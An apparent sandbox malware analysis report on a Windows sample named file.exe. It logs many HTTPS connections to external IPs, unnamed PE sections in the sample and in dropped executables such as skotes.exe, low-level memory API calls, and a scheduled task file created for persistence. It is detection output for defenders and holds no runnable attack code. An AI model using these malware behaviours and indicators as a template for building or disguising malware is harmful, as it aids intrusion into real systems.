Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50173 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name:
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AACB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	24_2_00AACB97

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
